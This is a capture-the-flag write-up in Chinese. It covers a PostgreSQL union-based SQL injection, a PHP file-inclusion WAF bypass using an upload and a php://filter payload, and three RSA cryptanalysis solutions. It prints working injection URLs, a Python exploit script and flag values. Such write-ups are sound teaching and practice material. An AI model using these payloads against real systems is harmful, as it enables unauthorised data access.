Jackson反序列化

easygo

给了源码，下下来打开发现存在sql注入

直接看数据库中的存在有什么表，其中有一个表比较可疑：super_secret_table

/juice/1'%20union%20select%201,table_name%20from%20information_schema.tables%20limit%201offset%20§这个是偏移§--

于是查看这个表的列名，发现存在flag字段：

/juice/1'%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_name='super_secret_table'--

直接读取flag

/juice/1'%20union%20select%201,flag%20from%20super_secret_table--

flag:PCL{Postgresql_1njection_1s_3asY}

简单包含

源码很简单就是通过文件包含读取flag

 <?php 
highlight_file(__FILE__);
include($_POST['flag']);
//flag in /var/www/html/flag.php

但是存在waf，可以通过上传文件使得waf溢出失效，exp如下：

import requests
url = "http://192.168.1.113/"
request_files = {
    'file': (('demo.jpg', open('./image.jpg', 'rb')))
}
data={'flag': 'php://filter/convert.base64-encode/resource=/var/www/html/flag.php'}
resp = requests.post(url=url, data=data,files=request_files)
print(resp.content)

flag: PCL{bc58644f-f757-11ec-9edf-5224002d2b29}

easy_rsa

第一步

e和phi不互素：

c = 0x27455f081e4858790c6503580dad3302ae359c9fb46dc601eee98f05142128404e95377324720adbbdebf428549008bcd1b670f6749592a171b30316ab707004b9999f3b80de32843afdfd30505b1f4166a03cee9fc48902b74b6e850cfd268e6917c5d84e64f7e7cd0e4a30bfe5903fb5d821d27fdc817d9c4536a8e7aea55af266abcae857a8ffff2f741901baba1b44091a137c69c471c123ab0b80e250e055959c468e6e37c005105ecd7c8b48c659024e5e251df3eeff5da7b3d561cd98150da3575a16bee5f2524d2795fd4879487018345c1e96efc085ed45fb5f02c027aee5bca3aad0eb3e23376c0cd18b02fb05a1ff8fb1af0a3ce4bb671599894e
p = 0xbb602e402b68a5cfcc5cfcc63cc82e362e98cb7043817e3421599a4bb8755777c362813742852dad4fec7ec33f1faec04926f0c253f56ab4c4dde6d71627fbc9ef42425b70e5ecd55314e744aa66653103b7d1ba86d1e0e21920a0bfe7d598bd09c3c377a3268928b953005450857c6cfea5bfdd7c16305baed0f0a31ad688bd
q = 0xbb8d1ea24a3462ae6ec28e79f96a95770d726144afc95ffffa19c7c3a3786a6acc3309820ba7b1a28a4f111082e69e558b27405613e115139b38e799c723ab7fdd7be14b330b118ae60e3b44483a4c94a556e810ab94bbb102286d0100d7c20e7494e20e0c1030e016603bd2a06c1f6e92998ab68e2d420faf47f3ee687fb6d1
e = 0x292

def decrypt1(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    t = gmpy2.gcd(e, phi)
    d = gmpy2.invert(e // t, phi)
    m = pow(c, d, n)
    msg = gmpy2.iroot(m, t)
    if msg[1]:
        print(long_to_bytes(msg[0]))
decrypt1(p,q,e,c)
# PCL{16745c3b

第二步

p的高位攻击：

# 先用sagemath求出q、p
def phase3(high_p, n):
    R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
    p = high_p + x
    x0 = p.small_roots(X = 2^60, beta = 0.1)[0]
    P = int(p(x0))
    Q = n // P
    print(P)
    print(Q)
    assert n == P*Q

p=0xa9cb9e2eb43f17ad6734356db18ad744600d0c19449fc62b25db7291f24c480217d60a7f87252d890b97a38cc6943740ac344233446eea4084c1ba7ea5b7cf2399d42650b2a3f0302bab81295abfd7cacf248de62d3c63482c5ea8ab6b25cdbebc83eae855c1d07a8cf0408c2b721e43c4ac53262bf9aaf7a000000000000000
n=0x841a5a012c104e600eca17b451d5fd37c063ad347707a2e88f36a07e9ad4687302790466e99f35b11580cbe8b0a212e6709686c464a6393c5895b1f97885f23ea12d2069eb6dc3cb4199fb8c6e80a4a94561c6c3499c3c02d9dc9cf216c0f44dc91701a6d9ec89981f261a139500420a51014492f1da588a26e761439dd5739b32540ca6dc1ec3b035043bc535304a06ccb489f72fcd1aa856e1cffe195039176937f9a16bd19030d1e00095f1fd977cf4f23e47b55650ca4712d1eb089d92df032e5180d05311c938a44decc6070cd01af4c6144cdab2526e5cb919a1828bec6a4f3332bf1fa4f1c9d3516fbb158fd4fbcf8b0e67eff944efa97f5b24f9aa65
phase3(p,n)

# python直接求出m
p=119234372387564173916926418564504307771905987823894721284221707768770334474240277144999791051191061404002537779694672314673997030282474914206610847346023297970473719280866108677835517943804329212840618914863288766846702119011361533150365876285203805100986025166317939702179911918098037294325448226481818486521
q=139862779248852876780236838155351435339041528333485708458669785004897778564234874018135441729896017420539905517964705602836874055417791439544162777504181482765029478481701166935117795286988835104239238153206137155845327225155932803904032184502243017645538314995056944419185855910939481260886933456330514972109
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

# 0c134c83b74f

第三步

c和n不互素，这里直接求公约数得到p，再求出m

c = 0x1bd2a47a5d275ba6356e1e2bd10d6c870693be540e9318c746e807a7672f3a75cc63841170126d7dba52d7f6f9cf0f8dce9705fc1785cc670b2658b05d4b24d8918f95594844bfa920c8ffe73160c2c313b3fdbc4541ec19828165e34afa7d05271cc6fd59d08138b88c11677e6ac3b39cff525dcb19694b0388d895f53805a5e5bd8cfb947080e4855aaf83ebd85a397526f7d76d26031386900cb44a2e4bd121412bcee7a6c1e9af411e234f130e68a428596265d3ec647e50f65cb81393f4bd38389a2b9010fd715582506b9054dc235aced50757462b77a5606f116853af0c1ea3c7cf0d304f885d86081f8bac8b67b0625122f75448c5b6eb8f1cc8a0df
n = 0xc2b17c86a8950f6dafe0a633890e4271cfb20c5ffda2d6b3d035afa655ed05ec16c67b18832ed887f2cea83056af079cc75c2ce43c90cce3ed02c2e07d256f240344f1734adeee6dc2b3b4bbf6dcfc68518d0a74e3e66f1865db95ef4204457e6471903c2321ac97f3b8e3d8d935896e9fc9145a30a3e24e7c320490a9944c1e94d301c8388445532699e6189f4aa6a86f67f1d9b8fb0de4225e005bd27594cd33e36622b2cd8eb2781f0c24d33267d9f29309158942b681aab81f39d1b4a73bd17431b46a89a0e4c2c58b1e24e850355c63b72392600d3fff7a16f6ef80ea515709da3ef1d28782882b0dd2f76bf609590db31979c5d1fd03f75d9d8f1c5069
e = 0x10001

p=gmpy2.gcd(c,n)
q=n//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)//2022//1011//p
print(long_to_bytes(m))

# 977260aae9b5}

flag: PCL{16745c3b0c134c83b74f977260aae9b5}

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